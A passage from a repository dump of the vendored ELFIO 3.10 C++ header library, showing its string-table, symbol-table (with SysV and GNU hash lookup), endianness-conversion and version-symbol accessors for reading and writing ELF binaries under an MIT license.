and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | 23 | #ifndef ELFIO_STRINGS_HPP 24 | #define ELFIO_STRINGS_HPP 25 | 26 | #include 27 | #include 28 | #include 29 | 30 | namespace ELFIO { 31 | 32 | //------------------------------------------------------------------------------ 33 | template class string_section_accessor_template 34 | { 35 | public: 36 | //------------------------------------------------------------------------------ 37 | explicit string_section_accessor_template( S* section ) 38 | : string_section( section ) 39 | { 40 | } 41 | 42 | //------------------------------------------------------------------------------ 43 | const char* get_string( Elf_Word index ) const 44 | { 45 | if ( string_section ) { 46 | if ( index < string_section->get_size() ) { 47 | const char* data = string_section->get_data(); 48 | if ( nullptr != data ) { 49 | return data + index; 50 | } 51 | } 52 | } 53 | 54 | return nullptr; 55 | } 56 | 57 | //------------------------------------------------------------------------------ 58 | Elf_Word add_string( const char* str ) 59 | { 60 | Elf_Word current_position = 0; 61 | 62 | if ( string_section ) { 63 | // Strings are addeded to the end of the current section data 64 | current_position = 65 | static_cast( string_section->get_size() ); 66 | 67 | if ( current_position == 0 ) { 68 | char empty_string = '\0'; 69 | string_section->append_data( &empty_string, 1 ); 70 | current_position++; 71 | } 72 | string_section->append_data( 73 | str, static_cast( std::strlen( str ) + 1 ) ); 74 | } 75 | 76 | return current_position; 77 | } 78 | 79 | //------------------------------------------------------------------------------ 80 | Elf_Word add_string( const std::string& str ) 81 | { 82 | return add_string( str.c_str() ); 83 | } 84 | 85 | //------------------------------------------------------------------------------ 86 | private: 87 | S* string_section; 88 | }; 89 | 90 | using string_section_accessor = string_section_accessor_template
; 91 | using const_string_section_accessor = 92 | string_section_accessor_template; 93 | 94 | } // namespace ELFIO 95 | 96 | #endif // ELFIO_STRINGS_HPP 97 | -------------------------------------------------------------------------------- /vendor/include/elfio/elfio_symbols.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2001-present by Serge Lamikhov-Center 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | 23 | #ifndef ELFIO_SYMBOLS_HPP 24 | #define ELFIO_SYMBOLS_HPP 25 | 26 | namespace ELFIO { 27 | 28 | //------------------------------------------------------------------------------ 29 | template class symbol_section_accessor_template 30 | { 31 | public: 32 | //------------------------------------------------------------------------------ 33 | symbol_section_accessor_template( const elfio& elf_file, S* symbol_section ) 34 | : elf_file( elf_file ), symbol_section( symbol_section ) 35 | { 36 | hash_section = nullptr; 37 | hash_section_index = 0; 38 | find_hash_section(); 39 | } 40 | 41 | //------------------------------------------------------------------------------ 42 | Elf_Xword get_symbols_num() const 43 | { 44 | Elf_Xword nRet = 0; 45 | if ( 0 != symbol_section->get_entry_size() ) { 46 | nRet = 47 | symbol_section->get_size() / symbol_section->get_entry_size(); 48 | } 49 | 50 | return nRet; 51 | } 52 | 53 | //------------------------------------------------------------------------------ 54 | bool get_symbol( Elf_Xword index, 55 | std::string& name, 56 | Elf64_Addr& value, 57 | Elf_Xword& size, 58 | unsigned char& bind, 59 | unsigned char& type, 60 | Elf_Half& section_index, 61 | unsigned char& other ) const 62 | { 63 | bool ret = false; 64 | 65 | if ( elf_file.get_class() == ELFCLASS32 ) { 66 | ret = generic_get_symbol( index, name, value, size, bind, 67 | type, section_index, other ); 68 | } 69 | else { 70 | ret = generic_get_symbol( index, name, value, size, bind, 71 | type, section_index, other ); 72 | } 73 | 74 | return ret; 75 | } 76 | 77 | //------------------------------------------------------------------------------ 78 | bool get_symbol( const std::string& name, 79 | Elf64_Addr& value, 80 | Elf_Xword& size, 81 | unsigned char& bind, 82 | unsigned char& type, 83 | Elf_Half& section_index, 84 | unsigned char& other ) const 85 | { 86 | bool ret = false; 87 | 88 | if ( 0 != get_hash_table_index() ) { 89 | if ( hash_section->get_type() == SHT_HASH ) { 90 | ret = hash_lookup( name, value, size, bind, type, section_index, 91 | other ); 92 | } 93 | if ( hash_section->get_type() == SHT_GNU_HASH || 94 | hash_section->get_type() == DT_GNU_HASH ) { 95 | if ( elf_file.get_class() == ELFCLASS32 ) { 96 | ret = gnu_hash_lookup( 97 | name, value, size, bind, type, section_index, other ); 98 | } 99 | else { 100 | ret = gnu_hash_lookup( 101 | name, value, size, bind, type, section_index, other ); 102 | } 103 | } 104 | } 105 | 106 | if ( !ret ) { 107 | for ( Elf_Xword i = 0; !ret && i < get_symbols_num(); i++ ) { 108 | std::string symbol_name; 109 | if ( get_symbol( i, symbol_name, value, size, bind, type, 110 | section_index, other ) ) { 111 | if ( symbol_name == name ) { 112 | ret = true; 113 | } 114 | } 115 | } 116 | } 117 | 118 | return ret; 119 | } 120 | 121 | //------------------------------------------------------------------------------ 122 | bool get_symbol( const Elf64_Addr& value, 123 | std::string& name, 124 | Elf_Xword& size, 125 | unsigned char& bind, 126 | unsigned char& type, 127 | Elf_Half& section_index, 128 | unsigned char& other ) const 129 | { 130 | 131 | const endianess_convertor& convertor = elf_file.get_convertor(); 132 | 133 | Elf_Xword idx = 0; 134 | bool match = false; 135 | Elf64_Addr v = 0; 136 | 137 | if ( elf_file.get_class() == ELFCLASS32 ) { 138 | match = generic_search_symbols( 139 | [&]( const Elf32_Sym* sym ) { 140 | return convertor( sym->st_value ) == value; 141 | }, 142 | idx ); 143 | } 144 | else { 145 | match = generic_search_symbols( 146 | [&]( const Elf64_Sym* sym ) { 147 | return convertor( sym->st_value ) == value; 148 | }, 149 | idx ); 150 | } 151 | 152 | if ( match ) { 153 | return get_symbol( idx, name, v, size, bind, type, section_index, 154 | other ); 155 | } 156 | 157 | return false; 158 | } 159 | 160 | //------------------------------------------------------------------------------ 161 | Elf_Word add_symbol( Elf_Word name, 162 | Elf64_Addr value, 163 | Elf_Xword size, 164 | unsigned char info, 165 | unsigned char other, 166 | Elf_Half shndx ) 167 | { 168 | Elf_Word nRet; 169 | 170 | if ( symbol_section->get_size() == 0 ) { 171 | if ( elf_file.get_class() == ELFCLASS32 ) { 172 | nRet = generic_add_symbol( 0, 0, 0, 0, 0, 0 ); 173 | } 174 | else { 175 | nRet = generic_add_symbol( 0, 0, 0, 0, 0, 0 ); 176 | } 177 | } 178 | 179 | if ( elf_file.get_class() == ELFCLASS32 ) { 180 | nRet = generic_add_symbol( name, value, size, info, 181 | other, shndx ); 182 | } 183 | else { 184 | nRet = generic_add_symbol( name, value, size, info, 185 | other, shndx ); 186 | } 187 | 188 | return nRet; 189 | } 190 | 191 | //------------------------------------------------------------------------------ 192 | Elf_Word add_symbol( Elf_Word name, 193 | Elf64_Addr value, 194 | Elf_Xword size, 195 | unsigned char bind, 196 | unsigned char type, 197 | unsigned char other, 198 | Elf_Half shndx ) 199 | { 200 | return add_symbol( name, value, size, ELF_ST_INFO( bind, type ), other, 201 | shndx ); 202 | } 203 | 204 | //------------------------------------------------------------------------------ 205 | Elf_Word add_symbol( string_section_accessor& pStrWriter, 206 | const char* str, 207 | Elf64_Addr value, 208 | Elf_Xword size, 209 | unsigned char info, 210 | unsigned char other, 211 | Elf_Half shndx ) 212 | { 213 | Elf_Word index = pStrWriter.add_string( str ); 214 | return add_symbol( index, value, size, info, other, shndx ); 215 | } 216 | 217 | //------------------------------------------------------------------------------ 218 | Elf_Word add_symbol( string_section_accessor& pStrWriter, 219 | const char* str, 220 | Elf64_Addr value, 221 | Elf_Xword size, 222 | unsigned char bind, 223 | unsigned char type, 224 | unsigned char other, 225 | Elf_Half shndx ) 226 | { 227 | return add_symbol( pStrWriter, str, value, size, 228 | ELF_ST_INFO( bind, type ), other, shndx ); 229 | } 230 | 231 | //------------------------------------------------------------------------------ 232 | Elf_Xword arrange_local_symbols( 233 | std::function func = 234 | nullptr ) 235 | { 236 | int nRet = 0; 237 | 238 | if ( elf_file.get_class() == ELFCLASS32 ) { 239 | nRet = generic_arrange_local_symbols( func ); 240 | } 241 | else { 242 | nRet = generic_arrange_local_symbols( func ); 243 | } 244 | 245 | return nRet; 246 | } 247 | 248 | //------------------------------------------------------------------------------ 249 | private: 250 | //------------------------------------------------------------------------------ 251 | void find_hash_section() 252 | { 253 | Elf_Half nSecNo = elf_file.sections.size(); 254 | for ( Elf_Half i = 0; i < nSecNo; ++i ) { 255 | const section* sec = elf_file.sections[i]; 256 | if ( sec->get_link() == symbol_section->get_index() && 257 | ( sec->get_type() == SHT_HASH || 258 | sec->get_type() == SHT_GNU_HASH || 259 | sec->get_type() == DT_GNU_HASH ) ) { 260 | hash_section = sec; 261 | hash_section_index = i; 262 | break; 263 | } 264 | } 265 | } 266 | 267 | //------------------------------------------------------------------------------ 268 | Elf_Half get_string_table_index() const 269 | { 270 | return (Elf_Half)symbol_section->get_link(); 271 | } 272 | 273 | //------------------------------------------------------------------------------ 274 | Elf_Half get_hash_table_index() const { return hash_section_index; } 275 | 276 | //------------------------------------------------------------------------------ 277 | bool hash_lookup( const std::string& name, 278 | Elf64_Addr& value, 279 | Elf_Xword& size, 280 | unsigned char& bind, 281 | unsigned char& type, 282 | Elf_Half& section_index, 283 | unsigned char& other ) const 284 | { 285 | bool ret = false; 286 | const endianess_convertor& convertor = elf_file.get_convertor(); 287 | 288 | Elf_Word nbucket = *(const Elf_Word*)hash_section->get_data(); 289 | nbucket = convertor( nbucket ); 290 | Elf_Word nchain = 291 | *(const Elf_Word*)( hash_section->get_data() + sizeof( Elf_Word ) ); 292 | nchain = convertor( nchain ); 293 | Elf_Word val = elf_hash( (const unsigned char*)name.c_str() ); 294 | Elf_Word y = 295 | *(const Elf_Word*)( hash_section->get_data() + 296 | ( 2 + val % nbucket ) * sizeof( Elf_Word ) ); 297 | y = convertor( y ); 298 | std::string str; 299 | get_symbol( y, str, value, size, bind, type, section_index, other ); 300 | while ( str != name && STN_UNDEF != y && y < nchain ) { 301 | y = *(const Elf_Word*)( hash_section->get_data() + 302 | ( 2 + nbucket + y ) * sizeof( Elf_Word ) ); 303 | y = convertor( y ); 304 | get_symbol( y, str, value, size, bind, type, section_index, other ); 305 | } 306 | 307 | if ( str == name ) { 308 | ret = true; 309 | } 310 | 311 | return ret; 312 | } 313 | 314 | //------------------------------------------------------------------------------ 315 | template 316 | bool gnu_hash_lookup( const std::string& name, 317 | Elf64_Addr& value, 318 | Elf_Xword& size, 319 | unsigned char& bind, 320 | unsigned char& type, 321 | Elf_Half& section_index, 322 | unsigned char& other ) const 323 | { 324 | bool ret = false; 325 | const endianess_convertor& convertor = elf_file.get_convertor(); 326 | 327 | uint32_t nbuckets = *( (uint32_t*)hash_section->get_data() + 0 ); 328 | uint32_t symoffset = *( (uint32_t*)hash_section->get_data() + 1 ); 329 | uint32_t bloom_size = *( (uint32_t*)hash_section->get_data() + 2 ); 330 | uint32_t bloom_shift = *( (uint32_t*)hash_section->get_data() + 3 ); 331 | nbuckets = convertor( nbuckets ); 332 | symoffset = convertor( symoffset ); 333 | bloom_size = convertor( bloom_size ); 334 | bloom_shift = convertor( bloom_shift ); 335 | 336 | T* bloom_filter = 337 | (T*)( hash_section->get_data() + 4 * sizeof( uint32_t ) ); 338 | 339 | uint32_t hash = elf_gnu_hash( (const unsigned char*)name.c_str() ); 340 | uint32_t bloom_index = ( hash / ( 8 * sizeof( T ) ) ) % bloom_size; 341 | T bloom_bits = 342 | ( (T)1 << ( hash % ( 8 * sizeof( T ) ) ) ) | 343 | ( (T)1 << ( ( hash >> bloom_shift ) % ( 8 * sizeof( T ) ) ) ); 344 | 345 | if ( ( convertor( bloom_filter[bloom_index] ) & bloom_bits ) == 346 | bloom_bits ) { 347 | uint32_t bucket = hash % nbuckets; 348 | auto* buckets = 349 | (uint32_t*)( hash_section->get_data() + 4 * sizeof( uint32_t ) + 350 | bloom_size * sizeof( T ) ); 351 | auto* chains = 352 | (uint32_t*)( hash_section->get_data() + 4 * sizeof( uint32_t ) + 353 | bloom_size * sizeof( T ) + 354 | nbuckets * sizeof( uint32_t ) ); 355 | 356 | if ( convertor( buckets[bucket] ) >= symoffset ) { 357 | uint32_t chain_index = convertor( buckets[bucket] ) - symoffset; 358 | uint32_t chain_hash = convertor( chains[chain_index] ); 359 | std::string symname; 360 | while ( true ) { 361 | if ( ( chain_hash >> 1 ) == ( hash >> 1 ) && 362 | get_symbol( chain_index + symoffset, symname, value, 363 | size, bind, type, section_index, other ) && 364 | name == symname ) { 365 | ret = true; 366 | break; 367 | } 368 | 369 | if ( chain_hash & 1 ) 370 | break; 371 | chain_hash = convertor( chains[++chain_index] ); 372 | } 373 | } 374 | } 375 | 376 | return ret; 377 | } 378 | 379 | //------------------------------------------------------------------------------ 380 | template const T* generic_get_symbol_ptr( Elf_Xword index ) const 381 | { 382 | if ( 0 != symbol_section->get_data() && index < get_symbols_num() ) { 383 | const T* pSym = reinterpret_cast( 384 | symbol_section->get_data() + 385 | index * symbol_section->get_entry_size() ); 386 | 387 | return pSym; 388 | } 389 | 390 | return nullptr; 391 | } 392 | 393 | //------------------------------------------------------------------------------ 394 | template 395 | bool generic_search_symbols( std::function match, 396 | Elf_Xword& idx ) const 397 | { 398 | for ( Elf_Xword i = 0; i < get_symbols_num(); i++ ) { 399 | const T* symPtr = generic_get_symbol_ptr( i ); 400 | 401 | if ( symPtr == nullptr ) 402 | return false; 403 | 404 | if ( match( symPtr ) ) { 405 | idx = i; 406 | return true; 407 | } 408 | } 409 | 410 | return false; 411 | } 412 | 413 | //------------------------------------------------------------------------------ 414 | template 415 | bool generic_get_symbol( Elf_Xword index, 416 | std::string& name, 417 | Elf64_Addr& value, 418 | Elf_Xword& size, 419 | unsigned char& bind, 420 | unsigned char& type, 421 | Elf_Half& section_index, 422 | unsigned char& other ) const 423 | { 424 | bool ret = false; 425 | 426 | if ( nullptr != symbol_section->get_data() && 427 | index < get_symbols_num() ) { 428 | const T* pSym = reinterpret_cast( 429 | symbol_section->get_data() + 430 | index * symbol_section->get_entry_size() ); 431 | 432 | const endianess_convertor& convertor = elf_file.get_convertor(); 433 | 434 | section* string_section = 435 | elf_file.sections[get_string_table_index()]; 436 | string_section_accessor str_reader( string_section ); 437 | const char* pStr = 438 | str_reader.get_string( convertor( pSym->st_name ) ); 439 | if ( nullptr != pStr ) { 440 | name = pStr; 441 | } 442 | value = convertor( pSym->st_value ); 443 | size = convertor( pSym->st_size ); 444 | bind = ELF_ST_BIND( pSym->st_info ); 445 | type = ELF_ST_TYPE( pSym->st_info ); 446 | section_index = convertor( pSym->st_shndx ); 447 | other = pSym->st_other; 448 | 449 | ret = true; 450 | } 451 | 452 | return ret; 453 | } 454 | 455 | //------------------------------------------------------------------------------ 456 | template 457 | Elf_Word generic_add_symbol( Elf_Word name, 458 | Elf64_Addr value, 459 | Elf_Xword size, 460 | unsigned char info, 461 | unsigned char other, 462 | Elf_Half shndx ) 463 | { 464 | const endianess_convertor& convertor = elf_file.get_convertor(); 465 | 466 | T entry; 467 | entry.st_name = convertor( name ); 468 | entry.st_value = value; 469 | entry.st_value = convertor( entry.st_value ); 470 | entry.st_size = size; 471 | entry.st_size = convertor( entry.st_size ); 472 | entry.st_info = convertor( info ); 473 | entry.st_other = convertor( other ); 474 | entry.st_shndx = convertor( shndx ); 475 | 476 | symbol_section->append_data( reinterpret_cast( &entry ), 477 | sizeof( entry ) ); 478 | 479 | Elf_Word nRet = symbol_section->get_size() / sizeof( entry ) - 1; 480 | 481 | return nRet; 482 | } 483 | 484 | //------------------------------------------------------------------------------ 485 | template 486 | Elf_Xword generic_arrange_local_symbols( 487 | std::function func ) 488 | { 489 | const endianess_convertor& convertor = elf_file.get_convertor(); 490 | 491 | Elf_Xword first_not_local = 492 | 1; // Skip the first entry. It is always NOTYPE 493 | Elf_Xword current = 0; 494 | Elf_Xword count = get_symbols_num(); 495 | 496 | while ( true ) { 497 | T* p1 = nullptr; 498 | T* p2 = nullptr; 499 | 500 | while ( first_not_local < count ) { 501 | p1 = const_cast( 502 | generic_get_symbol_ptr( first_not_local ) ); 503 | if ( ELF_ST_BIND( convertor( p1->st_info ) ) != STB_LOCAL ) 504 | break; 505 | ++first_not_local; 506 | } 507 | 508 | current = first_not_local + 1; 509 | while ( current < count ) { 510 | p2 = const_cast( generic_get_symbol_ptr( current ) ); 511 | if ( ELF_ST_BIND( convertor( p2->st_info ) ) == STB_LOCAL ) 512 | break; 513 | ++current; 514 | } 515 | 516 | if ( first_not_local < count && current < count ) { 517 | if ( func ) 518 | func( first_not_local, current ); 519 | 520 | std::swap( *p1, *p2 ); 521 | } 522 | else { 523 | // Update 'info' field of the section 524 | symbol_section->set_info( first_not_local ); 525 | break; 526 | } 527 | } 528 | 529 | // Elf_Word nRet = symbol_section->get_size() / sizeof(entry) - 1; 530 | 531 | return first_not_local; 532 | } 533 | 534 | //------------------------------------------------------------------------------ 535 | private: 536 | const elfio& elf_file; 537 | S* symbol_section; 538 | Elf_Half hash_section_index; 539 | const section* hash_section; 540 | }; 541 | 542 | using symbol_section_accessor = symbol_section_accessor_template
; 543 | using const_symbol_section_accessor = 544 | symbol_section_accessor_template; 545 | 546 | } // namespace ELFIO 547 | 548 | #endif // ELFIO_SYMBOLS_HPP 549 | -------------------------------------------------------------------------------- /vendor/include/elfio/elfio_utils.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2001-present by Serge Lamikhov-Center 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | 23 | #ifndef ELFIO_UTILS_HPP 24 | #define ELFIO_UTILS_HPP 25 | 26 | #include 27 | #include 28 | 29 | #define ELFIO_GET_ACCESS_DECL( TYPE, NAME ) virtual TYPE get_##NAME() const = 0 30 | 31 | #define ELFIO_SET_ACCESS_DECL( TYPE, NAME ) \ 32 | virtual void set_##NAME( TYPE value ) = 0 33 | 34 | #define ELFIO_GET_SET_ACCESS_DECL( TYPE, NAME ) \ 35 | virtual TYPE get_##NAME() const = 0; \ 36 | virtual void set_##NAME( TYPE value ) = 0 37 | 38 | #define ELFIO_GET_ACCESS( TYPE, NAME, FIELD ) \ 39 | TYPE get_##NAME() const override { return ( *convertor )( FIELD ); } 40 | 41 | #define ELFIO_SET_ACCESS( TYPE, NAME, FIELD ) \ 42 | void set_##NAME( TYPE value ) override \ 43 | { \ 44 | FIELD = value; \ 45 | FIELD = ( *convertor )( FIELD ); \ 46 | } 47 | #define ELFIO_GET_SET_ACCESS( TYPE, NAME, FIELD ) \ 48 | TYPE get_##NAME() const override { return ( *convertor )( FIELD ); } \ 49 | void set_##NAME( TYPE value ) override \ 50 | { \ 51 | FIELD = value; \ 52 | FIELD = ( *convertor )( FIELD ); \ 53 | } 54 | 55 | namespace ELFIO { 56 | 57 | //------------------------------------------------------------------------------ 58 | class endianess_convertor 59 | { 60 | public: 61 | //------------------------------------------------------------------------------ 62 | endianess_convertor() { need_conversion = false; } 63 | 64 | //------------------------------------------------------------------------------ 65 | void setup( unsigned char elf_file_encoding ) 66 | { 67 | need_conversion = ( elf_file_encoding != get_host_encoding() ); 68 | } 69 | 70 | //------------------------------------------------------------------------------ 71 | uint64_t operator()( uint64_t value ) const 72 | { 73 | if ( !need_conversion ) { 74 | return value; 75 | } 76 | value = ( ( value & 0x00000000000000FFull ) << 56 ) | 77 | ( ( value & 0x000000000000FF00ull ) << 40 ) | 78 | ( ( value & 0x0000000000FF0000ull ) << 24 ) | 79 | ( ( value & 0x00000000FF000000ull ) << 8 ) | 80 | ( ( value & 0x000000FF00000000ull ) >> 8 ) | 81 | ( ( value & 0x0000FF0000000000ull ) >> 24 ) | 82 | ( ( value & 0x00FF000000000000ull ) >> 40 ) | 83 | ( ( value & 0xFF00000000000000ull ) >> 56 ); 84 | 85 | return value; 86 | } 87 | 88 | //------------------------------------------------------------------------------ 89 | int64_t operator()( int64_t value ) const 90 | { 91 | if ( !need_conversion ) { 92 | return value; 93 | } 94 | return (int64_t)(*this)( (uint64_t)value ); 95 | } 96 | 97 | //------------------------------------------------------------------------------ 98 | uint32_t operator()( uint32_t value ) const 99 | { 100 | if ( !need_conversion ) { 101 | return value; 102 | } 103 | value = 104 | ( ( value & 0x000000FF ) << 24 ) | ( ( value & 0x0000FF00 ) << 8 ) | 105 | ( ( value & 0x00FF0000 ) >> 8 ) | ( ( value & 0xFF000000 ) >> 24 ); 106 | 107 | return value; 108 | } 109 | 110 | //------------------------------------------------------------------------------ 111 | int32_t operator()( int32_t value ) const 112 | { 113 | if ( !need_conversion ) { 114 | return value; 115 | } 116 | return (int32_t)(*this)( (uint32_t)value ); 117 | } 118 | 119 | //------------------------------------------------------------------------------ 120 | uint16_t operator()( uint16_t value ) const 121 | { 122 | if ( !need_conversion ) { 123 | return value; 124 | } 125 | value = ( ( value & 0x00FF ) << 8 ) | ( ( value & 0xFF00 ) >> 8 ); 126 | 127 | return value; 128 | } 129 | 130 | //------------------------------------------------------------------------------ 131 | int16_t operator()( int16_t value ) const 132 | { 133 | if ( !need_conversion ) { 134 | return value; 135 | } 136 | return (int16_t)(*this)( (uint16_t)value ); 137 | } 138 | 139 | //------------------------------------------------------------------------------ 140 | int8_t operator()( int8_t value ) const { return value; } 141 | 142 | //------------------------------------------------------------------------------ 143 | uint8_t operator()( uint8_t value ) const { return value; } 144 | 145 | //------------------------------------------------------------------------------ 146 | private: 147 | //------------------------------------------------------------------------------ 148 | unsigned char get_host_encoding() const 149 | { 150 | static const int tmp = 1; 151 | if ( 1 == *reinterpret_cast( &tmp ) ) { 152 | return ELFDATA2LSB; 153 | } 154 | else { 155 | return ELFDATA2MSB; 156 | } 157 | } 158 | 159 | //------------------------------------------------------------------------------ 160 | bool need_conversion; 161 | }; 162 | 163 | //------------------------------------------------------------------------------ 164 | struct address_translation 165 | { 166 | address_translation( uint64_t start, uint64_t size, uint64_t mapped_to ) 167 | : start( start ), size( size ), mapped_to( mapped_to ){}; 168 | std::streampos start; 169 | std::streampos size; 170 | std::streampos mapped_to; 171 | }; 172 | 173 | //------------------------------------------------------------------------------ 174 | class address_translator 175 | { 176 | public: 177 | //------------------------------------------------------------------------------ 178 | void set_address_translation( std::vector& addr_trans ) 179 | { 180 | addr_translations = addr_trans; 181 | 182 | std::sort( 183 | addr_translations.begin(), addr_translations.end(), 184 | []( address_translation& a, address_translation& b ) -> bool { 185 | return a.start < b.start; 186 | } ); 187 | } 188 | 189 | //------------------------------------------------------------------------------ 190 | std::streampos operator[]( std::streampos value ) const 191 | { 192 | if ( addr_translations.empty() ) { 193 | return value; 194 | } 195 | 196 | for ( auto& t : addr_translations ) { 197 | if ( ( t.start <= value ) && ( ( value - t.start ) < t.size ) ) { 198 | return value - t.start + t.mapped_to; 199 | } 200 | } 201 | 202 | return value; 203 | } 204 | 205 | bool empty() const { return addr_translations.empty(); } 206 | 207 | private: 208 | std::vector addr_translations; 209 | }; 210 | 211 | //------------------------------------------------------------------------------ 212 | inline uint32_t elf_hash( const unsigned char* name ) 213 | { 214 | uint32_t h = 0, g = 0; 215 | while ( *name != '\0' ) { 216 | h = ( h << 4 ) + *name++; 217 | g = h & 0xf0000000; 218 | if ( g != 0 ) 219 | h ^= g >> 24; 220 | h &= ~g; 221 | } 222 | return h; 223 | } 224 | 225 | //------------------------------------------------------------------------------ 226 | inline uint32_t elf_gnu_hash( const unsigned char* s ) 227 | { 228 | uint32_t h = 0x1505; 229 | for ( unsigned char c = *s; c != '\0'; c = *++s ) 230 | h = ( h << 5 ) + h + c; 231 | return h; 232 | } 233 | 234 | //------------------------------------------------------------------------------ 235 | inline std::string to_hex_string( uint64_t value ) 236 | { 237 | std::string str; 238 | 239 | while ( value ) { 240 | auto digit = value & 0xF; 241 | if ( digit < 0xA ) { 242 | str = char( '0' + digit ) + str; 243 | } 244 | else { 245 | str = char( 'A' + digit - 0xA ) + str; 246 | } 247 | value >>= 4; 248 | } 249 | 250 | return "0x" + str; 251 | } 252 | 253 | //------------------------------------------------------------------------------ 254 | inline void adjust_stream_size( std::ostream& stream, std::streamsize offset ) 255 | { 256 | stream.seekp( 0, std::ios_base::end ); 257 | if ( stream.tellp() < offset ) { 258 | std::streamsize size = offset - stream.tellp(); 259 | stream.write( std::string( size, '\0' ).c_str(), size ); 260 | } 261 | stream.seekp( offset ); 262 | } 263 | 264 | } // namespace ELFIO 265 | 266 | #endif // ELFIO_UTILS_HPP 267 | -------------------------------------------------------------------------------- /vendor/include/elfio/elfio_version.hpp: -------------------------------------------------------------------------------- 1 | #define ELFIO_VERSION "3.10" 2 | -------------------------------------------------------------------------------- /vendor/include/elfio/elfio_versym.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2001-present by Serge Lamikhov-Center 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | 23 | #ifndef ELFIO_VERSYM_HPP 24 | #define ELFIO_VERSYM_HPP 25 | 26 | namespace ELFIO { 27 | 28 | //------------------------------------------------------------------------------ 29 | template class versym_section_accessor_template 30 | { 31 | public: 32 | //------------------------------------------------------------------------------ 33 | versym_section_accessor_template( S* section ) : versym_section( section ) 34 | { 35 | if ( section ) { 36 | entries_num = section->get_size() / sizeof( Elf_Half ); 37 | } 38 | } 39 | 40 | //------------------------------------------------------------------------------ 41 | Elf_Word get_entries_num() const 42 | { 43 | if ( versym_section ) { 44 | return entries_num; 45 | } 46 | return 0; 47 | } 48 | 49 | //------------------------------------------------------------------------------ 50 | bool get_entry( Elf_Word no, Elf_Half& value ) const 51 | { 52 | if ( versym_section && ( no < get_entries_num() ) ) { 53 | value = ( (Elf_Half*)versym_section->get_data() )[no]; 54 | return true; 55 | } 56 | 57 | return false; 58 | } 59 | 60 | //------------------------------------------------------------------------------ 61 | bool modify_entry( Elf_Word no, Elf_Half value ) 62 | { 63 | if ( versym_section && ( no < get_entries_num() ) ) { 64 | ( (Elf_Half*)versym_section->get_data() )[no] = value; 65 | return true; 66 | } 67 | 68 | return false; 69 | } 70 | 71 | //------------------------------------------------------------------------------ 72 | bool add_entry( Elf_Half value ) 73 | { 74 | if ( !versym_section ) { 75 | return false; 76 | } 77 | 78 | versym_section->append_data( (const 